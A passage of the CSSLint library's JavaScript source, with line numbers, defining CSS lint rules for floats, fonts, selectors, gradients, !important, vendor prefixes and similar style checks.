8941 lastProperty = event;
8942 });
8943
8944 }
8945
8946});
8947
8948/*
8949 * Rule: You shouldn't use more than 10 floats. If you do, there's probably
8950 * room for some abstraction.
8951 */
8952
8953CSSLint.addRule({
8954
8955 // rule information
8956 id: "floats",
8957 name: "Disallow too many floats",
8958 desc: "This rule tests if the float property is used too many times",
8959 url: "https://github.com/CSSLint/csslint/wiki/Disallow-too-many-floats",
8960 browsers: "All",
8961
8962 // initialization
8963 init: function(parser, reporter) {
8964 "use strict";
8965 var rule = this;
8966 var count = 0;
8967
8968 // count how many times "float" is used
8969 parser.addListener("property", function(event) {
8970 if (event.property.text.toLowerCase() === "float" &&
8971 event.value.text.toLowerCase() !== "none") {
8972 count++;
8973 }
8974 });
8975
8976 // report the results
8977 parser.addListener("endstylesheet", function() {
8978 reporter.stat("floats", count);
8979 if (count >= 10) {
8980 reporter.rollupWarn("Too many floats (" + count + "), you're probably using them for layout. Consider using a grid system instead.", rule);
8981 }
8982 });
8983 }
8984
8985});
8986
8987/*
8988 * Rule: Avoid too many @font-face declarations in the same stylesheet.
8989 */
8990
8991CSSLint.addRule({
8992
8993 // rule information
8994 id: "font-faces",
8995 name: "Don't use too many web fonts",
8996 desc: "Too many different web fonts in the same stylesheet.",
8997 url: "https://github.com/CSSLint/csslint/wiki/Don%27t-use-too-many-web-fonts",
8998 browsers: "All",
8999
9000 // initialization
9001 init: function(parser, reporter) {
9002 "use strict";
9003 var rule = this,
9004 count = 0;
9005
9006
9007 parser.addListener("startfontface", function() {
9008 count++;
9009 });
9010
9011 parser.addListener("endstylesheet", function() {
9012 if (count > 5) {
9013 reporter.rollupWarn("Too many @font-face declarations (" + count + ").", rule);
9014 }
9015 });
9016 }
9017
9018});
9019
9020/*
9021 * Rule: You shouldn't need more than 9 font-size declarations.
9022 */
9023
9024CSSLint.addRule({
9025
9026 // rule information
9027 id: "font-sizes",
9028 name: "Disallow too many font sizes",
9029 desc: "Checks the number of font-size declarations.",
9030 url: "https://github.com/CSSLint/csslint/wiki/Don%27t-use-too-many-font-size-declarations",
9031 browsers: "All",
9032
9033 // initialization
9034 init: function(parser, reporter) {
9035 "use strict";
9036 var rule = this,
9037 count = 0;
9038
9039 // check for use of "font-size"
9040 parser.addListener("property", function(event) {
9041 if (event.property.toString() === "font-size") {
9042 count++;
9043 }
9044 });
9045
9046 // report the results
9047 parser.addListener("endstylesheet", function() {
9048 reporter.stat("font-sizes", count);
9049 if (count >= 10) {
9050 reporter.rollupWarn("Too many font-size declarations (" + count + "), abstraction needed.", rule);
9051 }
9052 });
9053 }
9054
9055});
9056
9057/*
9058 * Rule: When using a vendor-prefixed gradient, make sure to use them all.
9059 */
9060
9061CSSLint.addRule({
9062
9063 // rule information
9064 id: "gradients",
9065 name: "Require all gradient definitions",
9066 desc: "When using a vendor-prefixed gradient, make sure to use them all.",
9067 url: "https://github.com/CSSLint/csslint/wiki/Require-all-gradient-definitions",
9068 browsers: "All",
9069
9070 // initialization
9071 init: function(parser, reporter) {
9072 "use strict";
9073 var rule = this,
9074 gradients;
9075
9076 parser.addListener("startrule", function() {
9077 gradients = {
9078 moz: 0,
9079 webkit: 0,
9080 oldWebkit: 0,
9081 o: 0
9082 };
9083 });
9084
9085 parser.addListener("property", function(event) {
9086
9087 if (/\-(moz|o|webkit)(?:\-(?:linear|radial))\-gradient/i.test(event.value)) {
9088 gradients[RegExp.$1] = 1;
9089 } else if (/\-webkit\-gradient/i.test(event.value)) {
9090 gradients.oldWebkit = 1;
9091 }
9092
9093 });
9094
9095 parser.addListener("endrule", function(event) {
9096 var missing = [];
9097
9098 if (!gradients.moz) {
9099 missing.push("Firefox 3.6+");
9100 }
9101
9102 if (!gradients.webkit) {
9103 missing.push("Webkit (Safari 5+, Chrome)");
9104 }
9105
9106 if (!gradients.oldWebkit) {
9107 missing.push("Old Webkit (Safari 4+, Chrome)");
9108 }
9109
9110 if (!gradients.o) {
9111 missing.push("Opera 11.1+");
9112 }
9113
9114 if (missing.length && missing.length < 4) {
9115 reporter.report("Missing vendor-prefixed CSS gradients for " + missing.join(", ") + ".", event.selectors[0].line, event.selectors[0].col, rule);
9116 }
9117
9118 });
9119
9120 }
9121
9122});
9123
9124/*
9125 * Rule: Don't use IDs for selectors.
9126 */
9127
9128CSSLint.addRule({
9129
9130 // rule information
9131 id: "ids",
9132 name: "Disallow IDs in selectors",
9133 desc: "Selectors should not contain IDs.",
9134 url: "https://github.com/CSSLint/csslint/wiki/Disallow-IDs-in-selectors",
9135 browsers: "All",
9136
9137 // initialization
9138 init: function(parser, reporter) {
9139 "use strict";
9140 var rule = this;
9141 parser.addListener("startrule", function(event) {
9142 var selectors = event.selectors,
9143 selector,
9144 part,
9145 modifier,
9146 idCount,
9147 i, j, k;
9148
9149 for (i=0; i < selectors.length; i++) {
9150 selector = selectors[i];
9151 idCount = 0;
9152
9153 for (j=0; j < selector.parts.length; j++) {
9154 part = selector.parts[j];
9155 if (part.type === parser.SELECTOR_PART_TYPE) {
9156 for (k=0; k < part.modifiers.length; k++) {
9157 modifier = part.modifiers[k];
9158 if (modifier.type === "id") {
9159 idCount++;
9160 }
9161 }
9162 }
9163 }
9164
9165 if (idCount === 1) {
9166 reporter.report("Don't use IDs in selectors.", selector.line, selector.col, rule);
9167 } else if (idCount > 1) {
9168 reporter.report(idCount + " IDs in the selector, really?", selector.line, selector.col, rule);
9169 }
9170 }
9171
9172 });
9173 }
9174
9175});
9176
9177/*
9178 * Rule: IE6-9 supports up to 31 stylesheet import.
9179 * Reference:
9180 * http://blogs.msdn.com/b/ieinternals/archive/2011/05/14/internet-explorer-stylesheet-rule-selector-import-sheet-limit-maximum.aspx
9181 */
9182
9183CSSLint.addRule({
9184
9185 // rule information
9186 id: "import-ie-limit",
9187 name: "@import limit on IE6-IE9",
9188 desc: "IE6-9 supports up to 31 @import per stylesheet",
9189 browsers: "IE6, IE7, IE8, IE9",
9190
9191 // initialization
9192 init: function(parser, reporter) {
9193 "use strict";
9194 var rule = this,
9195 MAX_IMPORT_COUNT = 31,
9196 count = 0;
9197
9198 function startPage() {
9199 count = 0;
9200 }
9201
9202 parser.addListener("startpage", startPage);
9203
9204 parser.addListener("import", function() {
9205 count++;
9206 });
9207
9208 parser.addListener("endstylesheet", function() {
9209 if (count > MAX_IMPORT_COUNT) {
9210 reporter.rollupError(
9211 "Too many @import rules (" + count + "). IE6-9 supports up to 31 import per stylesheet.",
9212 rule
9213 );
9214 }
9215 });
9216 }
9217
9218});
9219
9220/*
9221 * Rule: Don't use @import, use <link> instead.
9222 */
9223
9224CSSLint.addRule({
9225
9226 // rule information
9227 id: "import",
9228 name: "Disallow @import",
9229 desc: "Don't use @import, use <link> instead.",
9230 url: "https://github.com/CSSLint/csslint/wiki/Disallow-%40import",
9231 browsers: "All",
9232
9233 // initialization
9234 init: function(parser, reporter) {
9235 "use strict";
9236 var rule = this;
9237
9238 parser.addListener("import", function(event) {
9239 reporter.report("@import prevents parallel downloads, use <link> instead.", event.line, event.col, rule);
9240 });
9241
9242 }
9243
9244});
9245
9246/*
9247 * Rule: Make sure !important is not overused, this could lead to specificity
9248 * war. Display a warning on !important declarations, an error if it's
9249 * used more at least 10 times.
9250 */
9251
9252CSSLint.addRule({
9253
9254 // rule information
9255 id: "important",
9256 name: "Disallow !important",
9257 desc: "Be careful when using !important declaration",
9258 url: "https://github.com/CSSLint/csslint/wiki/Disallow-%21important",
9259 browsers: "All",
9260
9261 // initialization
9262 init: function(parser, reporter) {
9263 "use strict";
9264 var rule = this,
9265 count = 0;
9266
9267 // warn that important is used and increment the declaration counter
9268 parser.addListener("property", function(event) {
9269 if (event.important === true) {
9270 count++;
9271 reporter.report("Use of !important", event.line, event.col, rule);
9272 }
9273 });
9274
9275 // if there are more than 10, show an error
9276 parser.addListener("endstylesheet", function() {
9277 reporter.stat("important", count);
9278 if (count >= 10) {
9279 reporter.rollupWarn("Too many !important declarations (" + count + "), try to use less than 10 to avoid specificity issues.", rule);
9280 }
9281 });
9282 }
9283
9284});
9285
9286/*
9287 * Rule: Properties should be known (listed in CSS3 specification) or
9288 * be a vendor-prefixed property.
9289 */
9290
9291CSSLint.addRule({
9292
9293 // rule information
9294 id: "known-properties",
9295 name: "Require use of known properties",
9296 desc: "Properties should be known (listed in CSS3 specification) or be a vendor-prefixed property.",
9297 url: "https://github.com/CSSLint/csslint/wiki/Require-use-of-known-properties",
9298 browsers: "All",
9299
9300 // initialization
9301 init: function(parser, reporter) {
9302 "use strict";
9303 var rule = this;
9304
9305 parser.addListener("property", function(event) {
9306
9307 // the check is handled entirely by the parser-lib (https://github.com/nzakas/parser-lib)
9308 if (event.invalid) {
9309 reporter.report(event.invalid.message, event.line, event.col, rule);
9310 }
9311
9312 });
9313 }
9314
9315});
9316
9317/*
9318 * Rule: All properties should be in alphabetical order.
9319 */
9320
9321CSSLint.addRule({
9322
9323 // rule information
9324 id: "order-alphabetical",
9325 name: "Alphabetical order",
9326 desc: "Assure properties are in alphabetical order",
9327 browsers: "All",
9328
9329 // initialization
9330 init: function(parser, reporter) {
9331 "use strict";
9332 var rule = this,
9333 properties;
9334
9335 var startRule = function () {
9336 properties = [];
9337 };
9338
9339 var endRule = function(event) {
9340 var currentProperties = properties.join(","),
9341 expectedProperties = properties.sort().join(",");
9342
9343 if (currentProperties !== expectedProperties) {
9344 reporter.report("Rule doesn't have all its properties in alphabetical order.", event.line, event.col, rule);
9345 }
9346 };
9347
9348 parser.addListener("startrule", startRule);
9349 parser.addListener("startfontface", startRule);
9350 parser.addListener("startpage", startRule);
9351 parser.addListener("startpagemargin", startRule);
9352 parser.addListener("startkeyframerule", startRule);
9353 parser.addListener("startviewport", startRule);
9354
9355 parser.addListener("property", function(event) {
9356 var name = event.property.text,
9357 lowerCasePrefixLessName = name.toLowerCase().replace(/^-.*?-/, "");
9358
9359 properties.push(lowerCasePrefixLessName);
9360 });
9361
9362 parser.addListener("endrule", endRule);
9363 parser.addListener("endfontface", endRule);
9364 parser.addListener("endpage", endRule);
9365 parser.addListener("endpagemargin", endRule);
9366 parser.addListener("endkeyframerule", endRule);
9367 parser.addListener("endviewport", endRule);
9368 }
9369
9370});
9371
9372/*
9373 * Rule: outline: none or outline: 0 should only be used in a :focus rule
9374 * and only if there are other properties in the same rule.
9375 */
9376
9377CSSLint.addRule({
9378
9379 // rule information
9380 id: "outline-none",
9381 name: "Disallow outline: none",
9382 desc: "Use of outline: none or outline: 0 should be limited to :focus rules.",
9383 url: "https://github.com/CSSLint/csslint/wiki/Disallow-outline%3Anone",
9384 browsers: "All",
9385 tags: ["Accessibility"],
9386
9387 // initialization
9388 init: function(parser, reporter) {
9389 "use strict";
9390 var rule = this,
9391 lastRule;
9392
9393 function startRule(event) {
9394 if (event.selectors) {
9395 lastRule = {
9396 line: event.line,
9397 col: event.col,
9398 selectors: event.selectors,
9399 propCount: 0,
9400 outline: false
9401 };
9402 } else {
9403 lastRule = null;
9404 }
9405 }
9406
9407 function endRule() {
9408 if (lastRule) {
9409 if (lastRule.outline) {
9410 if (lastRule.selectors.toString().toLowerCase().indexOf(":focus") === -1) {
9411 reporter.report("Outlines should only be modified using :focus.", lastRule.line, lastRule.col, rule);
9412 } else if (lastRule.propCount === 1) {
9413 reporter.report("Outlines shouldn't be hidden unless other visual changes are made.", lastRule.line, lastRule.col, rule);
9414 }
9415 }
9416 }
9417 }
9418
9419 parser.addListener("startrule", startRule);
9420 parser.addListener("startfontface", startRule);
9421 parser.addListener("startpage", startRule);
9422 parser.addListener("startpagemargin", startRule);
9423 parser.addListener("startkeyframerule", startRule);
9424 parser.addListener("startviewport", startRule);
9425
9426 parser.addListener("property", function(event) {
9427 var name = event.property.text.toLowerCase(),
9428 value = event.value;
9429
9430 if (lastRule) {
9431 lastRule.propCount++;
9432 if (name === "outline" && (value.toString() === "none" || value.toString() === "0")) {
9433 lastRule.outline = true;
9434 }
9435 }
9436
9437 });
9438
9439 parser.addListener("endrule", endRule);
9440 parser.addListener("endfontface", endRule);
9441 parser.addListener("endpage", endRule);
9442 parser.addListener("endpagemargin", endRule);
9443 parser.addListener("endkeyframerule", endRule);
9444 parser.addListener("endviewport", endRule);
9445
9446 }
9447
9448});
9449
9450/*
9451 * Rule: Don't use classes or IDs with elements (a.foo or a#foo).
9452 */
9453
9454CSSLint.addRule({
9455
9456 // rule information
9457 id: "overqualified-elements",
9458 name: "Disallow overqualified elements",
9459 desc: "Don't use classes or IDs with elements (a.foo or a#foo).",
9460 url: "https://github.com/CSSLint/csslint/wiki/Disallow-overqualified-elements",
9461 browsers: "All",
9462
9463 // initialization
9464 init: function(parser, reporter) {
9465 "use strict";
9466 var rule = this,
9467 classes = {};
9468
9469 parser.addListener("startrule", function(event) {
9470 var selectors = event.selectors,
9471 selector,
9472 part,
9473 modifier,
9474 i, j, k;
9475
9476 for (i=0; i < selectors.length; i++) {
9477 selector = selectors[i];
9478
9479 for (j=0; j < selector.parts.length; j++) {
9480 part = selector.parts[j];
9481 if (part.type === parser.SELECTOR_PART_TYPE) {
9482 for (k=0; k < part.modifiers.length; k++) {
9483 modifier = part.modifiers[k];
9484 if (part.elementName && modifier.type === "id") {
9485 reporter.report("Element (" + part + ") is overqualified, just use " + modifier + " without element name.", part.line, part.col, rule);
9486 } else if (modifier.type === "class") {
9487
9488 if (!classes[modifier]) {
9489 classes[modifier] = [];
9490 }
9491 classes[modifier].push({
9492 modifier: modifier,
9493 part: part
9494 });
9495 }
9496 }
9497 }
9498 }
9499 }
9500 });
9501
9502 parser.addListener("endstylesheet", function() {
9503
9504 var prop;
9505 for (prop in classes) {
9506 if (classes.hasOwnProperty(prop)) {
9507
9508 // one use means that this is overqualified
9509 if (classes[prop].length === 1 && classes[prop][0].part.elementName) {
9510 reporter.report("Element (" + classes[prop][0].part + ") is overqualified, just use " + classes[prop][0].modifier + " without element name.", classes[prop][0].part.line, classes[prop][0].part.col, rule);
9511 }
9512 }
9513 }
9514 });
9515 }
9516
9517});
9518
9519/*
9520 * Rule: Headings (h1-h6) should not be qualified (namespaced).
9521 */
9522
9523CSSLint.addRule({
9524
9525 // rule information
9526 id: "qualified-headings",
9527 name: "Disallow qualified headings",
9528 desc: "Headings should not be qualified (namespaced).",
9529 url: "https://github.com/CSSLint/csslint/wiki/Disallow-qualified-headings",
9530 browsers: "All",
9531
9532 // initialization
9533 init: function(parser, reporter) {
9534 "use strict";
9535 var rule = this;
9536
9537 parser.addListener("startrule", function(event) {
9538 var selectors = event.selectors,
9539 selector,
9540 part,
9541 i, j;
9542
9543 for (i=0; i < selectors.length; i++) {
9544 selector = selectors[i];
9545
9546 for (j=0; j < selector.parts.length; j++) {
9547 part = selector.parts[j];
9548 if (part.type === parser.SELECTOR_PART_TYPE) {
9549 if (part.elementName && /h[1-6]/.test(part.elementName.toString()) && j > 0) {
9550 reporter.report("Heading (" + part.elementName + ") should not be qualified.", part.line, part.col, rule);
9551 }
9552 }
9553 }
9554 }
9555 });
9556 }
9557
9558});
9559
9560/*
9561 * Rule: Selectors that look like regular expressions are slow and should be avoided.
9562 */
9563
9564CSSLint.addRule({
9565
9566 // rule information
9567 id: "regex-selectors",
9568 name: "Disallow selectors that look like regexs",
9569 desc: "Selectors that look like regular expressions are slow and should be avoided.",
9570 url: "https://github.com/CSSLint/csslint/wiki/Disallow-selectors-that-look-like-regular-expressions",
9571 browsers: "All",
9572
9573 // initialization
9574 init: function(parser, reporter) {
9575 "use strict";
9576 var rule = this;
9577
9578 parser.addListener("startrule", function(event) {
9579 var selectors = event.selectors,
9580 selector,
9581 part,
9582 modifier,
9583 i, j, k;
9584
9585 for (i=0; i < selectors.length; i++) {
9586 selector = selectors[i];
9587 for (j=0; j < selector.parts.length; j++) {
9588 part = selector.parts[j];
9589 if (part.type === parser.SELECTOR_PART_TYPE) {
9590 for (k=0; k < part.modifiers.length; k++) {
9591 modifier = part.modifiers[k];
9592 if (modifier.type === "attribute") {
9593 if (/([~\|\^\$\*]=)/.test(modifier)) {
9594 reporter.report("Attribute selectors with " + RegExp.$1 + " are slow!", modifier.line, modifier.col, rule);
9595 }
9596 }
9597
9598 }
9599 }
9600 }
9601 }
9602 });
9603 }
9604
9605});
9606
9607/*
9608 * Rule: Total number of rules should not exceed x.
9609 */
9610
9611CSSLint.addRule({
9612
9613 // rule information
9614 id: "rules-count",
9615 name: "Rules Count",
9616 desc: "Track how many rules there are.",
9617 browsers: "All",
9618
9619 // initialization
9620 init: function(parser, reporter) {
9621 "use strict";
9622 var count = 0;
9623
9624 // count each rule
9625 parser.addListener("startrule", function() {
9626 count++;
9627 });
9628
9629 parser.addListener("endstylesheet", function() {
9630 reporter.stat("rule-count", count);
9631 });
9632 }
9633
9634});
9635
9636/*
9637 * Rule: Warn people with approaching the IE 4095 limit
9638 */
9639
9640CSSLint.addRule({
9641
9642 // rule information
9643 id: "selector-max-approaching",
9644 name: "Warn when approaching the 4095 selector limit for IE",
9645 desc: "Will warn when selector count is >= 3800 selectors.",
9646 browsers: "IE",
9647
9648 // initialization
9649 init: function(parser, reporter) {
9650 "use strict";
9651 var rule = this, count = 0;
9652
9653 parser.addListener("startrule", function(event) {
9654 count += event.selectors.length;
9655 });
9656
9657 parser.addListener("endstylesheet", function() {
9658 if (count >= 3800) {
9659 reporter.report("You have " + count + " selectors. Internet Explorer supports a maximum of 4095 selectors per stylesheet. Consider refactoring.", 0, 0, rule);
9660 }
9661 });
9662 }
9663
9664});
9665
9666/*
9667 * Rule: Warn people past the IE 4095 limit
9668 */
9669
9670CSSLint.addRule({
9671
9672 // rule information
9673 id: "selector-max",
9674 name: "Error when past the 4095 selector limit for IE",
9675 desc: "Will error when selector count is > 4095.",
9676 browsers: "IE",
9677
9678 // initialization
9679 init: function(parser, reporter) {
9680 "use strict";
9681 var rule = this, count = 0;
9682
9683 parser.addListener("startrule", function(event) {
9684 count += event.selectors.length;
9685 });
9686
9687 parser.addListener("endstylesheet", function() {
9688 if (count > 4095) {
9689 reporter.report("You have " + count + " selectors. Internet Explorer supports a maximum of 4095 selectors per stylesheet. Consider refactoring.", 0, 0, rule);
9690 }
9691 });
9692 }
9693
9694});
9695
9696/*
9697 * Rule: Avoid new-line characters in selectors.
9698 */
9699
9700CSSLint.addRule({
9701
9702 // rule information
9703 id: "selector-newline",
9704 name: "Disallow new-line characters in selectors",
9705 desc: "New-line characters in selectors are usually a forgotten comma and not a descendant combinator.",
9706 browsers: "All",
9707
9708 // initialization
9709 init: function(parser, reporter) {
9710 "use strict";
9711 var rule = this;
9712
9713 function startRule(event) {
9714 var i, len, selector, p, n, pLen, part, part2, type, currentLine, nextLine,
9715 selectors = event.selectors;
9716
9717 for (i = 0, len = selectors.length; i < len; i++) {
9718 selector = selectors[i];
9719 for (p = 0, pLen = selector.parts.length; p < pLen; p++) {
9720 for (n = p + 1; n < pLen; n++) {
9721 part = selector.parts[p];
9722 part2 = selector.parts[n];
9723 type = part.type;
9724 currentLine = part.line;
9725 nextLine = part2.line;
9726
9727 if (type === "descendant" && nextLine > currentLine) {
9728 reporter.report("newline character found in selector (forgot a comma?)", currentLine, selectors[i].parts[0].col, rule);
9729 }
9730 }
9731 }
9732
9733 }
9734 }
9735
9736 parser.addListener("startrule", startRule);
9737
9738 }
9739});
9740
9741/*
9742 * Rule: Use shorthand properties where possible.
9743 *
9744 */
9745
9746CSSLint.addRule({
9747
9748 // rule information
9749 id: "shorthand",
9750 name: "Require shorthand properties",
9751 desc: "Use shorthand properties where possible.",
9752 url: "https://github.com/CSSLint/csslint/wiki/Require-shorthand-properties",
9753 browsers: "All",
9754
9755 // initialization
9756 init: function(parser, reporter) {
9757 "use strict";
9758 var rule = this,
9759 prop, i, len,
9760 propertiesToCheck = {},
9761 properties,
9762 mapping = {
9763 "margin": [
9764 "margin-top",
9765 "margin-bottom",
9766 "margin-left",
9767 "margin-right"
9768 ],
9769 "padding": [
9770 "padding-top",
9771 "padding-bottom",
9772 "padding-left",
9773 "padding-right"
9774 ]
9775 };
9776
9777 // initialize propertiesToCheck
9778 for (prop in mapping) {
9779 if (mapping.hasOwnProperty(prop)) {
9780 for (i=0, len=mapping[prop].length; i < len; i++) {
9781 propertiesToCheck[mapping[prop][i]] = prop;
9782 }
9783 }
9784 }
9785
9786 function startRule() {
9787 properties = {};
9788 }
9789
9790 // event handler for end of rules
9791 function endRule(event) {
9792
9793 var prop, i, len, total;
9794
9795 // check which properties this rule has
9796 for (prop in mapping) {
9797 if (mapping.hasOwnProperty(prop)) {
9798 total=0;
9799
9800 for (i=0, len=mapping[prop].length; i < len; i++) {
9801 total += properties[mapping[prop][i]] ? 1 : 0;
9802 }
9803
9804 if (total === mapping[prop].length) {
9805 reporter.report("The properties " + mapping[prop].join(", ") + " can be replaced by " + prop + ".", event.line, event.col, rule);
9806 }
9807 }
9808 }
9809 }
9810
9811 parser.addListener("startrule", startRule);
9812 parser.addListener("startfontface", startRule);
9813
9814 // check for use of "font-size"
9815 parser.addListener("property", function(event) {
9816 var name = event.property.toString().toLowerCase();
9817
9818 if (propertiesToCheck[name]) {
9819 properties[name] = 1;
9820 }
9821 });
9822
9823 parser.addListener("endrule", endRule);
9824 parser.addListener("endfontface", endRule);
9825
9826 }
9827
9828});
9829
9830/*
9831 * Rule: Don't use properties with a star prefix.
9832 *
9833 */
9834
9835CSSLint.addRule({
9836
9837 // rule information
9838 id: "star-property-hack",
9839 name: "Disallow properties with a star prefix",
9840 desc: "Checks for the star property hack (targets IE6/7)",
9841 url: "https://github.com/CSSLint/csslint/wiki/Disallow-star-hack",
9842 browsers: "All",
9843
9844 // initialization
9845 init: function(parser, reporter) {
9846 "use strict";
9847 var rule = this;
9848
9849 // check if property name starts with "*"
9850 parser.addListener("property", function(event) {
9851 var property = event.property;
9852
9853 if (property.hack === "*") {
9854 reporter.report("Property with star prefix found.", event.property.line, event.property.col, rule);
9855 }
9856 });
9857 }
9858});
9859
9860/*
9861 * Rule: Don't use text-indent for image replacement if you need to support rtl.
9862 *
9863 */
9864
9865CSSLint.addRule({
9866
9867 // rule information
9868 id: "text-indent",
9869 name: "Disallow negative text-indent",
9870 desc: "Checks for text indent less than -99px",
9871 url: "https://github.com/CSSLint/csslint/wiki/Disallow-negative-text-indent",
9872 browsers: "All",
9873
9874 // initialization
9875 init: function(parser, reporter) {
9876 "use strict";
9877 var rule = this,
9878 textIndent,
9879 direction;
9880
9881
9882 function startRule() {
9883 textIndent = false;
9884 direction = "inherit";
9885 }
9886
9887 // event handler for end of rules
9888 function endRule() {
9889 if (textIndent && direction !== "ltr") {
9890 reporter.report("Negative text-indent doesn't work well with RTL. If you use text-indent for image replacement explicitly set direction for that item to ltr.", textIndent.line, textIndent.col, rule);
9891 }
9892 }
9893
9894 parser.addListener("startrule", startRule);
9895 parser.addListener("startfontface", startRule);
9896
9897 // check for use of "font-size"
9898 parser.addListener("property", function(event) {
9899 var name = event.property.toString().toLowerCase(),
9900 value = event.value;
9901
9902 if (name === "text-indent" && value.parts[0].value < -99) {
9903 textIndent = event.property;
9904 } else if (name === "direction" && value.toString() === "ltr") {
9905 direction = "ltr";
9906 }
9907 });
9908
9909 parser.addListener("endrule", endRule);
9910 parser.addListener("endfontface", endRule);
9911
9912 }
9913
9914});
9915
9916/*
9917 * Rule: Don't use properties with a underscore prefix.
9918 *
9919 */
9920
9921CSSLint.addRule({
9922
9923 // rule information
9924 id: "underscore-property-hack",
9925 name: "Disallow properties with an underscore prefix",
9926 desc: "Checks for the underscore property hack (targets IE6)",
9927 url: "https://github.com/CSSLint/csslint/wiki/Disallow-underscore-hack",
9928 browsers: "All",
9929
9930 // initialization
9931 init: function(parser, reporter) {
9932 "use strict";
9933 var rule = this;
9934
9935 // check if property name starts with "_"
9936 parser.addListener("property", function(event) {
9937 var property = event.property;
9938
9939 if (property.hack === "_") {
9940 reporter.report("Property with underscore prefix found.", event.property.line, event.property.col, rule);
9941 }
9942 });
9943 }
9944});
9945
9946/*
9947 * Rule: Headings (h1-h6) should be defined only once.
9948 */
9949
9950CSSLint.addRule({
9951
9952 // rule information
9953 id: "unique-headings",
9954 name: "Headings should only be defined once",
9955 desc: "Headings should be defined only once.",
9956 url: "https://github.com/CSSLint/csslint/wiki/Headings-should-only-be-defined-once",
9957 browsers: "All",
9958
9959 // initialization
9960 init: function(parser, reporter) {
9961 "use strict";
9962 var rule = this;
9963
9964 var headings = {
9965 h1: 0,
9966 h2: 0,
9967 h3: 0,
9968 h4: 0,
9969 h5: 0,
9970 h6: 0
9971 };
9972
9973 parser.addListener("startrule", function(event) {
9974 var selectors = event.selectors,
9975 selector,
9976 part,
9977 pseudo,
9978 i, j;
9979
9980 for (i=0; i < selectors.length; i++) {
9981 selector = selectors[i];
9982 part = selector.parts[selector.parts.length-1];
9983
9984 if (part.elementName && /(h[1-6])/i.test(part.elementName.toString())) {
9985
9986 for (j=0; j < part.modifiers.length; j++) {
9987 if (part.modifiers[j].type === "pseudo") {
9988 pseudo = true;
9989 break;
9990 }
9991 }
9992
9993 if (!pseudo) {
9994 headings[RegExp.$1]++;
9995 if (headings[RegExp.$1] > 1) {
9996 reporter.report("Heading (" + part.elementName + ") has already been defined.", part.line, part.col, rule);
9997 }
9998 }
9999 }
10000 }
10001 });
10002
10003 parser.addListener("endstylesheet", function() {
10004 var prop,
10005 messages = [];
10006
10007 for (prop in headings) {
10008 if (headings.hasOwnProperty(prop)) {
10009 if (headings[prop] > 1) {
10010 messages.push(headings[prop] + " " + prop + "s");
10011 }
10012 }
10013 }
10014
10015 if (messages.length) {
10016 reporter.rollupWarn("You have " + messages.join(", ") + " defined in this stylesheet.", rule);
10017 }
10018 });
10019 }
10020
10021});
10022
10023/*
10024 * Rule: Don't use universal selector because it's slow.
10025 */
10026
10027CSSLint.addRule({
10028
10029 // rule information
10030 id: "universal-selector",
10031 name: "Disallow universal selector",
10032 desc: "The universal selector (*) is known to be slow.",
10033 url: "https://github.com/CSSLint/csslint/wiki/Disallow-universal-selector",
10034 browsers: "All",
10035
10036 // initialization
10037 init: function(parser, reporter) {
10038 "use strict";
10039 var rule = this;
10040
10041 parser.addListener("startrule", function(event) {
10042 var selectors = event.selectors,
10043 selector,
10044 part,
10045 i;
10046
10047 for (i=0; i < selectors.length; i++) {
10048 selector = selectors[i];
10049
10050 part = selector.parts[selector.parts.length-1];
10051 if (part.elementName === "*") {
10052 reporter.report(rule.desc, part.line, part.col, rule);
10053 }
10054 }
10055 });
10056 }
10057
10058});
10059
10060/*
10061 * Rule: Don't use unqualified attribute selectors because they're just like universal selectors.
10062 */
10063
10064CSSLint.addRule({
10065
10066 // rule information
10067 id: "unqualified-attributes",
10068 name: "Disallow unqualified attribute selectors",
10069 desc: "Unqualified attribute selectors are known to be slow.",
10070 url: "https://github.com/CSSLint/csslint/wiki/Disallow-unqualified-attribute-selectors",
10071 browsers: "All",
10072
10073 // initialization
10074 init: function(parser, reporter) {
10075 "use strict";
10076
10077 var rule = this;
10078
10079 parser.addListener("startrule", function(event) {
10080
10081 var selectors = event.selectors,
10082 selectorContainsClassOrId = false,
10083 selector,
10084 part,
10085 modifier,
10086 i, k;
10087
10088 for (i=0; i < selectors.length; i++) {
10089 selector = selectors[i];
10090
10091 part = selector.parts[selector.parts.length-1];
10092 if (part.type === parser.SELECTOR_PART_TYPE) {
10093 for (k=0; k < part.modifiers.length; k++) {
10094 modifier = part.modifiers[k];
10095
10096 if (modifier.type === "class" || modifier.type === "id") {
10097 selectorContainsClassOrId = true;
10098 break;
10099 }
10100 }
10101
10102 if (!selectorContainsClassOrId) {
10103 for (k=0; k < part.modifiers.length; k++) {
10104 modifier = part.modifiers[k];
10105 if (modifier.type === "attribute" && (!part.elementName || part.elementName === "*")) {
10106 reporter.report(rule.desc, part.line, part.col, rule);
10107 }
10108 }
10109 }
10110 }
10111
10112 }
10113 });
10114 }
10115
10116});
10117
10118/*
10119 * Rule: When using a vendor-prefixed property, make sure to
10120 * include the standard one.
10121 */
10122
10123CSSLint.addRule({
10124
10125 // rule information
10126 id: "vendor-prefix",
10127 name: "Require standard property with vendor prefix",
10128 desc: "When using a vendor-prefixed property, make sure to include the standard one.",
10129 url: "https://github.com/CSSLint/csslint/wiki/Require-standard-property-with-vendor-prefix",
10130 browsers: "All",
10131
10132 // initialization
10133 init: function(parser, reporter) {
10134 "use strict";
10135 var rule = this,
10136 properties,
10137 num,
10138 propertiesToCheck = {
10139 "-webkit-border-radius": "border-radius",
10140 "-webkit-border-top-left-radius": "border-top-left-radius",
10141 "-webkit-border-top-right-radius": "border-top-right-radius",
10142 "-webkit-border-bottom-left-radius": "border-bottom-left-radius",
10143 "-webkit-border-bottom-right-radius": "border-bottom-right-radius",
10144
10145 "-o-border-radius": "border-radius",
10146 "-o-border-top-left-radius": "border-top-left-radius",
10147 "-o-border-top-right-radius": "border-top-right-radius",
10148 "-o-border-bottom-left-radius": "border-bottom-left-radius",
10149 "-o-border-bottom-right-radius": "border-bottom-right-radius",
10150
10151 "-moz-border-radius": "border-radius",
10152 "-moz-border-radius-topleft": "border-top-left-radius",
10153 "-moz-border-radius-topright": "border-top-right-radius",
10154 "-moz-border-radius-bottomleft": "border-bottom-left-radius",
10155 "-moz-border-radius-bottomright": "border-bottom-right-radius",
10156
10157 "-moz-column-count": "column-count",
10158 "-webkit-column-count": "column-count",
10159
10160 "-moz-column-gap": "column-gap",
10161 "-webkit-column-gap": "column-gap",
10162
10163 "-moz-column-rule": "column-rule",
10164 "-webkit-column-rule": "column-rule",
10165
10166 "-moz-column-rule-style": "column-rule-style",
10167 "-webkit-column-rule-style": "column-rule-style",
10168
10169 "-moz-column-rule-color": "column-rule-color",
10170 "-webkit-column-rule-color": "column-rule-color",
10171
